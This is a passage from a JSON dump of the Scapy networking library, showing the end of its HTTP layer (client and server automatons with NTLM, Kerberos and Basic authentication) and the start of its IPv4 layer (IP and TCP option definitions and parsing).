b\"no-cache\",\n                \"Connection\": b\"keep-alive\",\n            }\n        else:\n            http_headers = {k.replace(\"-\", \"_\"): v for k, v in http_headers.items()}\n        http_headers.update(headers)\n        req = HTTP() / HTTPRequest(**http_headers)\n        if data:\n            req /= data\n\n        while True:\n            # Perform the request.\n            try:\n                resp = self.sr1(req, timeout=timeout)\n            except Exception:\n                # Socket has died, restart.\n                self._sockinfo = None\n                self._connect_or_reuse(host, port=port, tls=tls, timeout=timeout)\n                continue\n            if not resp:\n                break\n            # First case: auth was required. Handle that\n            if resp.Status_Code in [b\"401\", b\"407\"]:\n                # Authentication required\n                if self.authmethod in [\n                    HTTP_AUTH_MECHS.NTLM,\n                    HTTP_AUTH_MECHS.NEGOTIATE,\n                ]:\n                    # Parse authenticate\n                    if b\" \" in resp.WWW_Authenticate:\n                        method, data = resp.WWW_Authenticate.split(b\" \", 1)\n                        try:\n                            ssp_blob = GSSAPI_BLOB(base64.b64decode(data))\n                        except Exception:\n                            raise Scapy_Exception(\"Invalid WWW-Authenticate\")\n                    else:\n                        method = resp.WWW_Authenticate\n                        ssp_blob = None\n                    if plain_str(method) != self.authmethod.value:\n                        raise Scapy_Exception(\"Invalid WWW-Authenticate\")\n                    # SPNEGO / Kerberos / NTLM\n                    self.sspcontext, token, status = self.ssp.GSS_Init_sec_context(\n                        self.sspcontext,\n                        input_token=ssp_blob,\n                        target_name=\"http/\" + host,\n                        req_flags=0,\n                        chan_bindings=self.chan_bindings,\n                    )\n                    if status not in [GSS_S_COMPLETE, GSS_S_CONTINUE_NEEDED]:\n                        raise Scapy_Exception(\"Authentication failure\")\n                    req.Authorization = (\n                        self.authmethod.value.encode()\n                        + b\" \"\n                        + base64.b64encode(bytes(token))\n                    )\n                    continue\n            # Second case: follow redirection\n            if resp.Status_Code in [b\"301\", b\"302\"] and follow_redirects:\n                return self.request(\n                    resp.Location.decode(),\n                    data=data,\n                    timeout=timeout,\n                    follow_redirects=follow_redirects,\n                    **headers,\n                )\n            break\n        return resp\n\n    def close(self):\n        if self.verb:\n            print(\"X Connection to server closed\\n\")\n        self.sock.close()\n\n\ndef http_request(\n    host, path=\"/\", port=None, timeout=3, display=False, tls=False, verbose=0, **headers\n):\n    \"\"\"\n    Util to perform an HTTP request.\n\n    :param host: the host to connect to\n    :param path: the path of the request (default /)\n    :param port: the port (default 80/443)\n    :param timeout: timeout before None is returned\n    :param display: display the result in the default browser (default False)\n    :param iface: interface to use. Changing this turns on \"raw\"\n    :param headers: any additional headers passed to the request\n\n    :returns: the HTTPResponse packet\n    \"\"\"\n    client = HTTP_Client(HTTP_AUTH_MECHS.NONE, verb=verbose)\n    if port is None:\n        port = 443 if tls else 80\n    ans = client.request(\n        \"http%s://%s:%s%s\" % (tls and \"s\" or \"\", host, port, path),\n        timeout=timeout,\n    )\n\n    if ans:\n        if display:\n            if Raw not in ans:\n                warning(\"No HTTP content returned. Cannot display\")\n                return ans\n            # Write file\n            file = get_temp_file(autoext=\".html\")\n            with open(file, \"wb\") as fd:\n                fd.write(ans.load)\n            # Open browser\n            if WINDOWS:\n                os.startfile(file)\n            else:\n                with ContextManagerSubprocess(conf.prog.universal_open):\n                    subprocess.Popen([conf.prog.universal_open, file])\n        return ans\n\n\n# Bindings\n\n\nbind_bottom_up(TCP, HTTP, sport=80)\nbind_bottom_up(TCP, HTTP, dport=80)\nbind_layers(TCP, HTTP, sport=80, dport=80)\n\nbind_bottom_up(TCP, HTTP, sport=8080)\nbind_bottom_up(TCP, HTTP, dport=8080)\n\n\n# Automatons\n\n\nclass HTTP_Server(Automaton):\n    \"\"\"\n    HTTP server automaton\n\n    :param ssp: the SSP to serve. If None, unauthenticated (or basic).\n    :param mech: the HTTP_AUTH_MECHS to use (default: NONE)\n    :param require_cbt: require Channel Bindings to be valid (default: False)\n    :param cbt_cert: the path to the certificate used for channel bindings.\n                     Useful if behind a reverse proxy. (default: None)\n\n    Other parameters:\n\n    :param BASIC_IDENTITIES: a dict that contains {\"user\": \"password\"} for Basic\n                             authentication.\n    :param BASIC_REALM: the basic realm.\n    \"\"\"\n\n    pkt_cls = HTTP\n\n    def __init__(\n        self,\n        mech=HTTP_AUTH_MECHS.NONE,\n        verb=True,\n        ssp=None,\n        require_cbt: bool = False,\n        cbt_cert: str = None,\n        *args,\n        **kwargs,\n    ):\n        self.verb = verb\n        if \"sock\" not in kwargs:\n            raise ValueError(\n                \"HTTP_Server cannot be started directly ! Use HTTP_Server.spawn\"\n            )\n        self.ssp = ssp\n        self.authmethod = mech.value\n        self.sspcontext = None\n\n        # CBT settings\n        self.ssp_req_flags = GSS_S_FLAGS.GSS_S_ALLOW_MISSING_BINDINGS\n        if require_cbt:\n            self.ssp_req_flags &= ~GSS_S_FLAGS.GSS_S_ALLOW_MISSING_BINDINGS\n        if cbt_cert:\n            self.chan_bindings = GssChannelBindings.fromssl(\n                ChannelBindingType.TLS_SERVER_END_POINT,\n                certfile=cbt_cert,\n            )\n        else:\n            self.chan_bindings = GSS_C_NO_CHANNEL_BINDINGS\n\n        # Auth settings\n        self.basic = False\n        self.BASIC_IDENTITIES = kwargs.pop(\"BASIC_IDENTITIES\", {})\n        self.BASIC_REALM = kwargs.pop(\"BASIC_REALM\", \"default\")\n        if mech == HTTP_AUTH_MECHS.BASIC:\n            if not self.BASIC_IDENTITIES:\n                raise ValueError(\"Please provide 'BASIC_IDENTITIES' !\")\n            if ssp is not None:\n                raise ValueError(\"Can't use 'BASIC_IDENTITIES' with 'ssp' !\")\n            self.basic = True\n        elif mech == HTTP_AUTH_MECHS.NONE:\n            if ssp is not None:\n                raise ValueError(\"Cannot use ssp with mech=NONE !\")\n        # Initialize\n        Automaton.__init__(self, *args, **kwargs)\n\n    def send(self, resp):\n        self.sock.send(HTTP() / resp)\n\n    def vprint(self, s=\"\"):\n        \"\"\"\n        Verbose print (if enabled)\n        \"\"\"\n        if self.verb:\n            if conf.interactive:\n                log_interactive.info(\"> %s\", s)\n            else:\n                print(\"> %s\" % s)\n\n    @ATMT.state(initial=1)\n    def BEGIN(self):\n        self.authenticated = False\n        self.sspcontext = None\n\n    @ATMT.receive_condition(BEGIN, prio=1)\n    def should_authenticate(self, pkt):\n        if self.authmethod == HTTP_AUTH_MECHS.NONE.value:\n            raise self.SERVE(pkt)\n        else:\n            raise self.AUTH(pkt)\n\n    @ATMT.state()\n    def AUTH(self, pkt=None):\n        if pkt is None:\n            return\n        if HTTPRequest in pkt:\n            self.vprint(pkt.summary())\n            if pkt.Method == b\"CONNECT\":\n                # HTTP tunnel (proxy)\n                proxy = True\n            else:\n                # HTTP non-tunnel\n                proxy = False\n            # Get authorization\n            if proxy:\n                authorization = pkt.Proxy_Authorization\n            else:\n                authorization = pkt.Authorization\n            if not authorization:\n                # Initial ask.\n                data = self.authmethod\n                if self.basic:\n                    data += \" realm='%s'\" % self.BASIC_REALM\n                self._ask_authorization(proxy, data)\n                return\n            # Parse authorization\n            method, data = authorization.split(b\" \", 1)\n            if plain_str(method) != self.authmethod:\n                self.debug(3, \"Bad auth method.\")\n                raise self.AUTH_ERROR(proxy)\n            try:\n                data = base64.b64decode(data)\n            except Exception:\n                self.debug(3, \"Couldn't unpack base64 of auth.\")\n                raise self.AUTH_ERROR(proxy)\n            # Now process the authorization\n            if not self.basic:\n                try:\n                    ssp_blob = GSSAPI_BLOB(data)\n                except Exception:\n                    self.sspcontext = None\n                    self._ask_authorization(proxy, self.authmethod)\n                    self.debug(3, \"Couldn't unpack GSSAPI_BLOB of auth.\")\n                    raise self.AUTH_ERROR(proxy)\n                # And call the SSP\n                self.sspcontext, tok, status = self.ssp.GSS_Accept_sec_context(\n                    self.sspcontext,\n                    ssp_blob,\n                    req_flags=self.ssp_req_flags,\n                    chan_bindings=self.chan_bindings,\n                )\n            else:\n                # This is actually Basic authentication\n                try:\n                    next(\n                        True\n                        for k, v in self.BASIC_IDENTITIES.items()\n                        if (\"%s:%s\" % (k, v)).encode() == data\n                    )\n                    tok, status = None, GSS_S_COMPLETE\n                except StopIteration:\n                    self.debug(3, \"Basic authentication failed with 'unknown user'.\")\n                    tok, status = None, GSS_S_FAILURE\n            # Send answer\n            if status not in [GSS_S_COMPLETE, GSS_S_CONTINUE_NEEDED]:\n                self.debug(3, \"Authentication failed: %s.\" % status)\n                raise self.AUTH_ERROR(proxy)\n            elif status == GSS_S_CONTINUE_NEEDED:\n                data = self.authmethod.encode()\n                if tok:\n                    data += b\" \" + base64.b64encode(bytes(tok))\n                self._ask_authorization(proxy, data)\n                raise self.AUTH()\n            else:\n                # Authenticated !\n                self.authenticated = True\n                self.vprint(\"AUTH OK\")\n                raise self.SERVE(pkt)\n\n    @ATMT.state()\n    def AUTH_ERROR(self, proxy):\n        self.sspcontext = None\n        self._ask_authorization(proxy, self.authmethod)\n        self.vprint(\"AUTH ERROR\")\n\n    @ATMT.condition(AUTH_ERROR)\n    def allow_reauth(self):\n        raise self.AUTH()\n\n    def _ask_authorization(self, proxy, data):\n        if proxy:\n            self.send(\n                HTTPResponse(\n                    Status_Code=b\"407\",\n                    Reason_Phrase=b\"Proxy Authentication Required\",\n                    Proxy_Authenticate=data,\n                )\n            )\n        else:\n            self.send(\n                HTTPResponse(\n                    Status_Code=b\"401\",\n                    Reason_Phrase=b\"Unauthorized\",\n                    WWW_Authenticate=data,\n                )\n            )\n\n    @ATMT.receive_condition(AUTH, prio=1)\n    def received_unauthenticated(self, pkt):\n        raise self.AUTH(pkt)\n\n    @ATMT.eof(AUTH)\n    def auth_eof(self):\n        raise self.CLOSED()\n\n    @ATMT.state(error=1)\n    def ERROR(self):\n        self.send(\n            HTTPResponse(\n                Status_Code=\"400\",\n                Reason_Phrase=\"Bad Request\",\n            )\n        )\n\n    @ATMT.state(final=1)\n    def CLOSED(self):\n        self.vprint(\"CLOSED\")\n\n    # Serving\n\n    @ATMT.state()\n    def SERVE(self, pkt=None):\n        if pkt is None:\n            return\n        answer = self.answer(pkt)\n        if answer:\n            self.send(answer)\n            self.vprint(\"%s -> %s\" % (pkt.summary(), answer.summary()))\n        else:\n            self.vprint(\"%s\" % pkt.summary())\n\n    @ATMT.eof(SERVE)\n    def serve_eof(self):\n        raise self.CLOSED()\n\n    @ATMT.receive_condition(SERVE)\n    def new_request(self, pkt):\n        raise self.SERVE(pkt)\n\n    # DEV: overwrite this function\n\n    def answer(self, pkt):\n        \"\"\"\n        HTTP_server answer function.\n\n        :param pkt: a HTTPRequest packet\n        :returns: a HTTPResponse packet\n        \"\"\"\n        if pkt.Path == b\"/\":\n            return HTTPResponse() / (\n                \"<!doctype html><html><body><h1>OK</h1></body></html>\"\n            )\n        else:\n            return HTTPResponse(\n                Status_Code=b\"404\",\n                Reason_Phrase=b\"Not Found\",\n            ) / (\"<!doctype html><html><body><h1>404 - Not Found</h1></body></html>\")\n\n\nclass HTTPS_Server(HTTP_Server):\n    \"\"\"\n    HTTPS server automaton\n\n    This has the same arguments and attributes as HTTP_Server, with the addition of:\n\n    :param sslcontext: an optional SSLContext object.\n                       If used, key is ignored but cert can still be used for\n                       channel bindings.\n    :param cert: path to the certificate\n    :param key: path to the key\n    :param require_cbt: require Channel Bindings to be valid\n    \"\"\"\n\n    socketcls = None\n\n    def __init__(\n        self,\n        mech=HTTP_AUTH_MECHS.NONE,\n        verb=True,\n        cert=None,\n        key=None,\n        sslcontext=None,\n        ssp=None,\n        require_cbt=False,\n        *args,\n        **kwargs,\n    ):\n        if \"sock\" not in kwargs:\n            raise ValueError(\n                \"HTTPS_Server cannot be started directly ! Use HTTPS_Server.spawn\"\n            )\n        # wrap socket in SSL\n        if sslcontext is None:\n            context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)\n            context.load_cert_chain(cert, key)\n        else:\n            context = sslcontext\n        kwargs[\"sock\"] = SSLStreamSocket(\n            context.wrap_socket(kwargs[\"sock\"], server_side=True),\n            self.pkt_cls,\n        )\n\n        # Call super\n        super(HTTPS_Server, self).__init__(\n            mech=mech,\n            verb=verb,\n            ssp=ssp,\n            cbt_cert=cert,\n            require_cbt=require_cbt,\n            *args,\n            **kwargs,\n        )\n"
  },
  {
    "path": "scapy/layers/inet.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Philippe Biondi <phil@secdev.org>\n\n\"\"\"\nIPv4 (Internet Protocol v4).\n\"\"\"\n\nimport time\nimport struct\nimport re\nimport random\nimport select\nimport socket\nfrom collections import defaultdict\n\nfrom scapy.utils import checksum, do_graph, incremental_label, \\\n    linehexdump, strxor, whois, colgen\nfrom scapy.ansmachine import AnsweringMachine\nfrom scapy.base_classes import Gen, Net, _ScopedIP\nfrom scapy.consts import OPENBSD\nfrom scapy.data import (\n    ETH_P_IP,\n    ETH_P_ALL,\n    DLT_RAW,\n    DLT_RAW_ALT,\n    DLT_IPV4,\n    IP_PROTOS,\n    TCP_SERVICES,\n    UDP_SERVICES,\n)\nfrom scapy.layers.l2 import (\n    CookedLinux,\n    Dot3,\n    Ether,\n    GRE,\n    Loopback,\n    SNAP,\n    arpcachepoison,\n    getmacbyip,\n)\nfrom scapy.compat import raw, chb, orb, bytes_encode, Optional\nfrom scapy.config import conf\nfrom scapy.fields import (\n    BitEnumField,\n    BitField,\n    ByteEnumField,\n    ByteField,\n    ConditionalField,\n    DestField,\n    Emph,\n    FieldLenField,\n    FieldListField,\n    FlagsField,\n    IPField,\n    IP6Field,\n    IntField,\n    MayEnd,\n    MultiEnumField,\n    MultipleTypeField,\n    PacketField,\n    PacketListField,\n    ShortEnumField,\n    ShortField,\n    SourceIPField,\n    StrField,\n    StrFixedLenField,\n    StrLenField,\n    TrailerField,\n    XByteField,\n    XShortField,\n)\nfrom scapy.packet import Packet, bind_layers, bind_bottom_up, NoPayload\nfrom scapy.volatile import RandShort, RandInt, RandBin, RandNum, VolatileValue\nfrom scapy.sendrecv import sr, sr1\nfrom scapy.plist import _PacketList, PacketList, SndRcvList\nfrom scapy.automaton import Automaton, ATMT\nfrom scapy.error import log_runtime, warning\nfrom scapy.pton_ntop import inet_pton\n\nimport scapy.as_resolvers\n\n####################\n#  IP Tools class  #\n####################\n\n\nclass IPTools(object):\n    \"\"\"Add more powers to a class with an \"src\" attribute.\"\"\"\n    __slots__ = []\n\n    def whois(self):\n        \"\"\"whois the source and print the output\"\"\"\n        print(whois(self.src).decode(\"utf8\", \"ignore\"))\n\n    def _ttl(self):\n        \"\"\"Returns ttl or hlim, depending on the IP version\"\"\"\n        return self.hlim if isinstance(self, scapy.layers.inet6.IPv6) else self.ttl  # noqa: E501\n\n    def ottl(self):\n        t = sorted([32, 64, 128, 255] + [self._ttl()])\n        return t[t.index(self._ttl()) + 1]\n\n    def hops(self):\n        return self.ottl() - self._ttl()\n\n\n_ip_options_names = {0: \"end_of_list\",\n                     1: \"nop\",\n                     2: \"security\",\n                     3: \"loose_source_route\",\n                     4: \"timestamp\",\n                     5: \"extended_security\",\n                     6: \"commercial_security\",\n                     7: \"record_route\",\n                     8: \"stream_id\",\n                     9: \"strict_source_route\",\n                     10: \"experimental_measurement\",\n                     11: \"mtu_probe\",\n                     12: \"mtu_reply\",\n                     13: \"flow_control\",\n                     14: \"access_control\",\n                     15: \"encode\",\n                     16: \"imi_traffic_descriptor\",\n                     17: \"extended_IP\",\n                     18: \"traceroute\",\n                     19: \"address_extension\",\n                     20: \"router_alert\",\n                     21: \"selective_directed_broadcast_mode\",\n                     23: \"dynamic_packet_state\",\n                     24: \"upstream_multicast_packet\",\n                     25: \"quick_start\",\n                     30: \"rfc4727_experiment\",\n                     }\n\n\nclass _IPOption_HDR(Packet):\n    fields_desc = [BitField(\"copy_flag\", 0, 1),\n                   BitEnumField(\"optclass\", 0, 2, {0: \"control\", 2: \"debug\"}),\n                   BitEnumField(\"option\", 0, 5, _ip_options_names)]\n\n\nclass IPOption(Packet):\n    name = \"IP Option\"\n    fields_desc = [_IPOption_HDR,\n                   FieldLenField(\"length\", None, fmt=\"B\",  # Only option 0 and 1 have no length and value  # noqa: E501\n                                 length_of=\"value\", adjust=lambda pkt, l:l + 2),  # noqa: E501\n                   StrLenField(\"value\", \"\", length_from=lambda pkt:pkt.length - 2)]  # noqa: E501\n\n    def extract_padding(self, p):\n        return b\"\", p\n\n    registered_ip_options = {}\n\n    @classmethod\n    def register_variant(cls):\n        cls.registered_ip_options[cls.option.default] = cls\n\n    @classmethod\n    def dispatch_hook(cls, pkt=None, *args, **kargs):\n        if pkt:\n            opt = orb(pkt[0]) & 0x1f\n            if opt in cls.registered_ip_options:\n                return cls.registered_ip_options[opt]\n        return cls\n\n\nclass IPOption_EOL(IPOption):\n    name = \"IP Option End of Options List\"\n    option = 0\n    fields_desc = [_IPOption_HDR]\n\n\nclass IPOption_NOP(IPOption):\n    name = \"IP Option No Operation\"\n    option = 1\n    fields_desc = [_IPOption_HDR]\n\n\nclass IPOption_Security(IPOption):\n    name = \"IP Option Security\"\n    copy_flag = 1\n    option = 2\n    fields_desc = [_IPOption_HDR,\n                   ByteField(\"length\", 11),\n                   ShortField(\"security\", 0),\n                   ShortField(\"compartment\", 0),\n                   ShortField(\"handling_restrictions\", 0),\n                   StrFixedLenField(\"transmission_control_code\", \"xxx\", 3),\n                   ]\n\n\nclass IPOption_RR(IPOption):\n    name = \"IP Option Record Route\"\n    option = 7\n    fields_desc = [_IPOption_HDR,\n                   FieldLenField(\"length\", None, fmt=\"B\",\n                                 length_of=\"routers\", adjust=lambda pkt, l:l + 3),  # noqa: E501\n                   ByteField(\"pointer\", 4),  # 4 is first IP\n                   FieldListField(\"routers\", [], IPField(\"\", \"0.0.0.0\"),\n                                  length_from=lambda pkt:pkt.length - 3)\n                   ]\n\n    def get_current_router(self):\n        return self.routers[self.pointer // 4 - 1]\n\n\nclass IPOption_LSRR(IPOption_RR):\n    name = \"IP Option Loose Source and Record Route\"\n    copy_flag = 1\n    option = 3\n\n\nclass IPOption_SSRR(IPOption_RR):\n    name = \"IP Option Strict Source and Record Route\"\n    copy_flag = 1\n    option = 9\n\n\nclass IPOption_Stream_Id(IPOption):\n    name = \"IP Option Stream ID\"\n    copy_flag = 1\n    option = 8\n    fields_desc = [_IPOption_HDR,\n                   ByteField(\"length\", 4),\n                   ShortField(\"security\", 0), ]\n\n\nclass IPOption_MTU_Probe(IPOption):\n    name = \"IP Option MTU Probe\"\n    option = 11\n    fields_desc = [_IPOption_HDR,\n                   ByteField(\"length\", 4),\n                   ShortField(\"mtu\", 0), ]\n\n\nclass IPOption_MTU_Reply(IPOption_MTU_Probe):\n    name = \"IP Option MTU Reply\"\n    option = 12\n\n\nclass IPOption_Traceroute(IPOption):\n    name = \"IP Option Traceroute\"\n    option = 18\n    fields_desc = [_IPOption_HDR,\n                   ByteField(\"length\", 12),\n                   ShortField(\"id\", 0),\n                   ShortField(\"outbound_hops\", 0),\n                   ShortField(\"return_hops\", 0),\n                   IPField(\"originator_ip\", \"0.0.0.0\")]\n\n\nclass IPOption_Timestamp(IPOption):\n    name = \"IP Option Timestamp\"\n    optclass = 2\n    option = 4\n    fields_desc = [_IPOption_HDR,\n                   ByteField(\"length\", None),\n                   ByteField(\"pointer\", 9),\n                   BitField(\"oflw\", 0, 4),\n                   BitEnumField(\"flg\", 1, 4,\n                                {0: \"timestamp_only\",\n                                 1: \"timestamp_and_ip_addr\",\n                                 3: \"prespecified_ip_addr\"}),\n                   ConditionalField(IPField(\"internet_address\", \"0.0.0.0\"),\n                                    lambda pkt: pkt.flg != 0),\n                   IntField('timestamp', 0)]\n\n    def post_build(self, p, pay):\n        if self.length is None:\n            p = p[:1] + struct.pack(\"!B\", len(p)) + p[2:]\n        return p + pay\n\n\nclass IPOption_Address_Extension(IPOption):\n    name = \"IP Option Address Extension\"\n    copy_flag = 1\n    option = 19\n    fields_desc = [_IPOption_HDR,\n                   ByteField(\"length\", 10),\n                   IPField(\"src_ext\", \"0.0.0.0\"),\n                   IPField(\"dst_ext\", \"0.0.0.0\")]\n\n\nclass IPOption_Router_Alert(IPOption):\n    name = \"IP Option Router Alert\"\n    copy_flag = 1\n    option = 20\n    fields_desc = [_IPOption_HDR,\n                   ByteField(\"length\", 4),\n                   ShortEnumField(\"alert\", 0, {0: \"router_shall_examine_packet\"}), ]  # noqa: E501\n\n\nclass IPOption_SDBM(IPOption):\n    name = \"IP Option Selective Directed Broadcast Mode\"\n    copy_flag = 1\n    option = 21\n    fields_desc = [_IPOption_HDR,\n                   FieldLenField(\"length\", None, fmt=\"B\",\n                                 length_of=\"addresses\", adjust=lambda pkt, l:l + 2),  # noqa: E501\n                   FieldListField(\"addresses\", [], IPField(\"\", \"0.0.0.0\"),\n                                  length_from=lambda pkt:pkt.length - 2)\n                   ]\n\n\nTCPOptions = (\n    {0: (\"EOL\", None),\n     1: (\"NOP\", None),\n     2: (\"MSS\", \"!H\"),\n     3: (\"WScale\", \"!B\"),\n     4: (\"SAckOK\", None),\n     5: (\"SAck\", \"!\"),\n     8: (\"Timestamp\", \"!II\"),\n     14: (\"AltChkSum\", \"!BH\"),\n     15: (\"AltChkSumOpt\", None),\n     19: (\"MD5\", \"16s\"),\n     25: (\"Mood\", \"!p\"),\n     28: (\"UTO\", \"!H\"),\n     29: (\"AO\", None),\n     34: (\"TFO\", \"!II\"),\n     # RFC 3692\n     # 253: (\"Experiment\", \"!HHHH\"),\n     # 254: (\"Experiment\", \"!HHHH\"),\n     },\n    {\"EOL\": 0,\n     \"NOP\": 1,\n     \"MSS\": 2,\n     \"WScale\": 3,\n     \"SAckOK\": 4,\n     \"SAck\": 5,\n     \"Timestamp\": 8,\n     \"AltChkSum\": 14,\n     \"AltChkSumOpt\": 15,\n     \"MD5\": 19,\n     \"Mood\": 25,\n     \"UTO\": 28,\n     \"AO\": 29,\n     \"TFO\": 34,\n     })\n\n\nclass TCPAOValue(Packet):\n    \"\"\"Value of TCP-AO option\"\"\"\n    fields_desc = [\n        ByteField(\"keyid\", None),\n        ByteField(\"rnextkeyid\", None),\n        StrLenField(\"mac\", \"\", length_from=lambda p:len(p.original) - 2),\n    ]\n\n\ndef get_tcpao(tcphdr):\n    # type: (TCP) -> Optional[TCPAOValue]\n    \"\"\"Get the TCP-AO option from the header\"\"\"\n    for optid, optval in tcphdr.options:\n        if optid == 'AO':\n            return optval\n    return None\n\n\nclass RandTCPOptions(VolatileValue):\n    def __init__(self, size=None):\n        if size is None:\n            size = RandNum(1, 5)\n        self.size = size\n\n    def _fix(self):\n        # Pseudo-Random amount of options\n        # Random (\"NAME\", fmt)\n        rand_patterns = [\n            random.choice(list(\n                (opt, fmt) for opt, fmt in TCPOptions[0].values()\n                if opt != 'EOL'\n            ))\n            for _ in range(self.size)\n        ]\n        rand_vals = []\n        for oname, fmt in rand_patterns:\n            if fmt is None:\n                rand_vals.append((oname, b''))\n            else:\n                # Process the fmt arguments 1 by 1\n                structs = re.findall(r\"!?([bBhHiIlLqQfdpP]|\\d+[spx])\", fmt)\n                rval = []\n                for stru in structs:\n                    stru = \"!\" + stru\n                    if \"s\" in stru or \"p\" in stru:  # str / chr\n                        v = bytes(RandBin(struct.calcsize(stru)))\n                    else:  # int\n                        _size = struct.calcsize(stru)\n                        v = random.randint(0, 2 ** (8 * _size) - 1)\n                    rval.append(v)\n                rand_vals.append((oname, tuple(rval)))\n        return rand_vals\n\n    def __bytes__(self):\n        return TCPOptionsField.i2m(None, None, self._fix())\n\n\nclass TCPOptionsField(StrField):\n    islist = 1\n\n    def getfield(self, pkt, s):\n        opsz = (pkt.dataofs - 5) * 4\n        if opsz < 0:\n            log_runtime.info(\n                \"bad dataofs (%i). Assuming dataofs=5\", pkt.dataofs\n            )\n            opsz = 0\n        return s[opsz:], self.m2i(pkt, s[:opsz])\n\n    def m2i(self, pkt, x):\n        opt = []\n        while x:\n            onum = orb(x[0])\n            if onum == 0:\n                opt.append((\"EOL\", None))\n                break\n            if onum == 1:\n                opt.append((\"NOP\", None))\n                x = x[1:]\n                continue\n            try:\n                olen = orb(x[1])\n            except IndexError:\n                olen = 0\n            if olen < 2:\n                log_runtime.info(\n                    \"Malformed TCP option (announced length is %i)\", olen\n                )\n                olen = 2\n            oval = x[2:olen]\n            if onum in TCPOptions[0]:\n                oname, ofmt = TCPOptions[0][onum]\n                if onum == 5:  # SAck\n                    ofmt += \"%iI\" % (len(oval) // 4)\n                if onum == 29:  # AO\n                    oval = TCPAOValue(oval)\n                if ofmt and struct.calcsize(ofmt) == len(oval):\n                    oval = struct.unpack(ofmt, oval)\n                    if len(oval) == 1:\n                        oval = oval[0]\n                opt.append((oname, oval))\n            else:\n                opt.append((onum, oval))\n            x = x[olen:]\n        return opt\n\n    def i2h(self, pkt, x):\n        if not x:\n            return []\n        return x\n\n    def i2m(self, pkt, x):\n        opt = b\"\"\n        for oname, oval in x:\n            # We check for a (0, b'') or (1, b'') option first\n            oname = {0: \"EOL\", 1: \"NOP\"}.get(oname, oname)\n            if isinstance(oname, str):\n                if oname == \"NOP\":\n                    opt += b\"\\x01\"\n                    continue\n                elif oname == \"EOL\":\n                    opt += b\"\\x00\"\n                    continue\n                elif oname in TCPOptions[1]:\n                    onum = TCPOptions[1][oname]\n                    ofmt = TCPOptions[0][onum][1]\n                    if onum == 5:  # SAck\n                        ofmt += \"%iI\" % len(oval)\n                    _test_isinstance = not isinstance(oval, (bytes, str))\n                    if ofmt is not None and (_test_isinstance or \"s\" in ofmt):\n                        if not isinstance(oval, tuple):\n                            oval = (oval,)\n                        oval = struct.pack(ofmt, *oval)\n                    if onum == 29:  # AO\n                        oval = bytes(oval)\n                else:\n                    warning(\"Option [%s] unknown. Skipped.\", oname)\n                    continue\n            else:\n                onum = oname\n                if not isinstance(onum, int):\n                    warning(\"Invalid option number [%i]\" % onum)\n                    continue\n                if not isinstance(oval, (bytes, str)):\n                    warning(\"Option [%i] is not bytes.\" % onum)\n                    continue\n            if isinstance(oval, str):\n                oval = bytes_encode(oval)\n            opt += chb(onum) + chb(2 + len(oval)) + oval\n        return opt + b\"\\x00\" * (3 - ((len(opt) + 3) % 4))  # Padding\n\n    def randval(self):\n        return RandTCPOptions()\n\n\nclass ICMPTimeStampField(IntField):\n    re_hmsm = re.compile(\"([0-2]?[0-9])[Hh:](([0-5]?[0-9])([Mm:]([0-5]?[0-9])([sS:.]([0-9]{0,3}))?)?)?$\")  # noqa: E501\n\n    def i2repr(self, pkt, val):\n        if val is None:\n            return \"--\"\n        else:\n            sec, milli = divmod(val, 1000)\n            min, sec = divmod(sec, 60)\n            hour, min = divmod(min, 60)\n            return \"%d:%d:%d.%d\" % (hour, min, sec, int(milli))\n\n    def any2i(self, pkt, val):\n        if isinstance(val, str):\n            hmsms = self.re_hmsm.match(val)\n            if hmsms:\n                h, _, m, _, s, _, ms = hmsms.groups()\n                ms = int(((ms or \"\") + \"000\")[:3])\n                val = ((int(h) * 60 + int(m or 0)) * 60 + int(s or 0)) * 1000 + ms  # noqa: E501\n            else:\n                val = 0\n        elif val is None:\n            val = int((time.time() % (24 * 60 * 60)) * 1000)\n        return val\n\n\nclass DestIPField(IPField, DestField):\n    bindings = {}\n\n    def __init__(self, name, default):\n        IPField.__init__(self, name, None)\n        DestField.__init__(self, name, default)\n\n    def i2m(self, pkt, x):\n        if x is None:\n            x = self.dst_from_pkt(pkt)\n        return IPField.i2m(self, pkt, x)\n\n    def i2h(self, pkt, x):\n        if x is None:\n            x = self.dst_from_pkt(pkt)\n        return IPField.i2h(self, pkt, x)\n\n\nclass IP(Packet, IPTools):\n    name = \"IP\"\n    fields_desc = [BitField(\"version\", 4, 4),\n                   BitField(\"ihl\", None, 4),\n                   XByteField(\"tos\", 0),\n                   ShortField(\"len\", None),\n                   ShortField(\"id\", 1),\n                   FlagsField(\"flags\", 0, 3, [\"MF\", \"DF\", \"evil\"]),\n                   BitField(\"frag\", 0, 13),\n                   ByteField(\"ttl\", 64),\n                   ByteEnumField(\"proto\", 0, IP_PROTOS),\n                   XShortField(\"chksum\", None),\n                   # IPField(\"src\", \"127.0.0.1\"),\n                   Emph(SourceIPField(\"src\")),\n                   Emph(DestIPField(\"dst\", \"127.0.0.1\")),\n                   PacketListField(\"options\", [], IPOption, length_from=lambda p:p.ihl * 4 - 20)]  # noqa: E501\n\n    def post_build(self, p, pay):\n        ihl = self.ihl\n        p += b\"\\0\" * ((-len(p)) % 4)  # pad IP options if needed\n        if ihl is None:\n            ihl = len(p) // 4\n            p = chb(((self.version & 0xf) << 4) | ihl & 0x0f) + p[1:]\n        if self.len is None:\n            tmp_len = len(p) + len(pay)\n            p = p[:2] + struct.pack(\"!H\", tmp_len) + p[4:]\n        if self.chksum is None:\n            ck = checksum(p)\n            p = p[:10] + chb(ck >> 8) + chb(ck & 0xff) + p[12:]\n        return p + pay\n\n    def extract_padding(self, s):\n        tmp_len = self.len - (self.ihl << 2)\n        if tmp_len < 0:\n            return s, b\"\"\n        return s[:tmp_len], s[tmp_len:]\n\n    def route(self):\n        dst = self.dst\n        scope = None\n        if isinstance(dst, (Net, _ScopedIP)):\n            scope = dst.scope\n        if isinstance(dst, (Gen, list)):\n            dst = next(iter(dst))\n        if conf.route is None:\n            # unused import, only to initialize conf.route\n            import scapy.route  # noqa: F401\n        if not isinstance(dst, (str, bytes, int)):\n            dst = str(dst)\n        return conf.route.route(dst, dev=scope)\n\n    def hashret(self):\n        if ((self.proto == socket.IPPROTO_ICMP) and\n            (isinstance(self.payload, ICMP)) and\n                (self.payload.type in [3, 4, 5, 11, 12])):\n            return self.payload.payload.hashret()\n        if not conf.checkIPinIP and self.proto in [4, 41]:  # IP, IPv6\n            return self.payload.hashret()\n        if self.dst == \"224.0.0.251\":  # mDNS\n            return 